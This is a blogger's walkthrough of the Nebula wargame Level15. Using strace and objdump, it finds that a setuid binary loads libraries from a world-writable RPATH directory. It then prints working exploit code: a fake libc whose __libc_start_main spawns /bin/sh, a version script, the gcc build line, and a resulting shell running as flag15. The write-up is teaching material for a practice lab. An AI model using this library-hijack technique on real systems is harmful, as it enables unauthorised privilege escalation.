6 minute read

The About section for Level15 contains the following instructions:

“strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary.

You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth.

Clean up after yourself :)”

Let’s follow the instructions and run strace:

    level15@nebula:/home/flag15$ strace ./flag15
    execve("./flag15", ["./flag15"], [/* 20 vars */]) = 0
    brk(0)                                  = 0x9bad000
    access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
    mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78da000
    access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
    open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
    stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf946604) = -1 ENOENT (No such file or directory)
    open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
    stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf946604) = -1 ENOENT (No such file or directory)
    open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
    stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf946604) = -1 ENOENT (No such file or directory)
    open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
    stat64("/var/tmp/flag15/tls/i686", 0xbf946604) = -1 ENOENT (No such file or directory)
    open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
    stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf946604) = -1 ENOENT (No such file or directory)
    open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
    stat64("/var/tmp/flag15/tls/sse2", 0xbf946604) = -1 ENOENT (No such file or directory)
    open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
    stat64("/var/tmp/flag15/tls/cmov", 0xbf946604) = -1 ENOENT (No such file or directory)
    open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
    stat64("/var/tmp/flag15/tls", 0xbf946604) = -1 ENOENT (No such file or directory)
    open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
    stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf946604) = -1 ENOENT (No such file or directory)
    open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
    stat64("/var/tmp/flag15/i686/sse2", 0xbf946604) = -1 ENOENT (No such file or directory)
    open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
    stat64("/var/tmp/flag15/i686/cmov", 0xbf946604) = -1 ENOENT (No such file or directory)
    open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
    stat64("/var/tmp/flag15/i686", 0xbf946604) = -1 ENOENT (No such file or directory)
    open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
    stat64("/var/tmp/flag15/sse2/cmov", 0xbf946604) = -1 ENOENT (No such file or directory)
    open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
    stat64("/var/tmp/flag15/sse2", 0xbf946604) = -1 ENOENT (No such file or directory)
    open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
    stat64("/var/tmp/flag15/cmov", 0xbf946604) = -1 ENOENT (No such file or directory)
    open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
    stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
    open("/etc/ld.so.cache", O_RDONLY)      = 3
    fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
    mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb78d1000
    close(3)                                = 0
    access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
    open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
    read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
    fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
    mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x829000
    mmap2(0x99f000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x99f000
    mmap2(0x9a2000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x9a2000
    close(3)                                = 0
    mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78d0000
    set_thread_area({entry_number:-1 -> 6, base_addr:0xb78d08d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
    mprotect(0x99f000, 8192, PROT_READ)     = 0
    mprotect(0x8049000, 4096, PROT_READ)    = 0
    mprotect(0x31f000, 4096, PROT_READ)     = 0
    munmap(0xb78d1000, 33815)               = 0
    fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
    mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78d9000
    write(1, "strace it!\n", 11strace it!
    )            = 11
    exit_group(11)                          = ?

Strange, it is trying (and erroring) when attempting to open a number of items in ‘/var/tmp/flag15/’.

I took a quick look at the directory to check if it was a permissions issue:

    level15@nebula:/var/tmp/flag15$ ls -al
    total 0
    drwxrwxr-x 2 level15 level15  3 2012-10-31 01:38 .
    drwxrwxrwt 1 root    root    40 2016-02-19 23:37 ..

Nope, nothing is in that directory. Time to run a quick objdump to see if we can glean some additional details:

    level15@nebula:/home/flag15$ objdump -p flag15

    flag15:     file format elf32-i386

    Program Header:
        PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
             filesz 0x00000120 memsz 0x00000120 flags r-x
      INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
             filesz 0x00000013 memsz 0x00000013 flags r--
        LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
             filesz 0x000005d4 memsz 0x000005d4 flags r-x
        LOAD off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**12
             filesz 0x00000108 memsz 0x00000110 flags rw-
     DYNAMIC off    0x00000f20 vaddr 0x08049f20 paddr 0x08049f20 align 2**2
             filesz 0x000000d0 memsz 0x000000d0 flags rw-
        NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
             filesz 0x00000044 memsz 0x00000044 flags r--
    EH_FRAME off    0x000004dc vaddr 0x080484dc paddr 0x080484dc align 2**2
             filesz 0x00000034 memsz 0x00000034 flags r--
       STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
             filesz 0x00000000 memsz 0x00000000 flags rw-
       RELRO off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**0
             filesz 0x000000f4 memsz 0x000000f4 flags r--

    Dynamic Section:
      NEEDED               libc.so.6
      RPATH                /var/tmp/flag15
      INIT                 0x080482c0
      FINI                 0x080484ac
      GNU_HASH             0x080481ac
      STRTAB               0x0804821c
      SYMTAB               0x080481cc
      STRSZ                0x0000005a
      SYMENT               0x00000010
      DEBUG                0x00000000
      PLTGOT               0x08049ff4
      PLTRELSZ             0x00000018
      PLTREL               0x00000011
      JMPREL               0x080482a8
      REL                  0x080482a0
      RELSZ                0x00000008
      RELENT               0x00000008
      VERNEED              0x08048280
      VERNEEDNUM           0x00000001
      VERSYM               0x08048276

    Version References:
      required from libc.so.6:
        0x0d696910 0x00 02 GLIBC_2.0

This line piqued my interest, it may explain the calls to ‘/var/tmp/flag15/’.

    RPATH                /var/tmp/flag15

I am jumping ahead a bit here after numerous attempts and all the different paths I went down. I did not want to make this post 30 pages long :).

My goal was to use the calls to “/var/tmp/flag15/libc.so.6” and replace it with my code. This is not as simple as it sounds and I spent a lot of time troubleshooting all the various errors that occurred.

Here are the contents of my “dummy_libc.c”:

    level15@nebula:/var/tmp/flag15$ cat dummy_libc.c
    #include<stdio.h>

    int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
        system("/bin/sh");
        return 0;
    }

One of the breakthroughs I experienced was when I was consistently seeing an error thrown specifying no version information available. Thank goodness for stackoverflow!

    level15@nebula:/var/tmp/flag15$ cat version.ld
    GLIBC_2.0 {
    };

Time to compile:

    level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=version.ld,-Bstatic dummy_libc.c -o libc.so.6

Let’s run flag15 and pray..

    level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
    sh-4.2$ id
    uid=1016(level15) gid=1016(level15) euid=984(flag15) groups=984(flag15),1016(level15)
    sh-4.2$ getflag
    You have successfully executed getflag on a target account

Wow, I was overjoyed when I finally saw that shell prompt appear. What an amazing learning experience that level was!

Admittedly, this level took me a long time and required a significant amount of additional research. I knew “what” I needed to do, just not “how” to do it.

Mike

comments powered by Disqus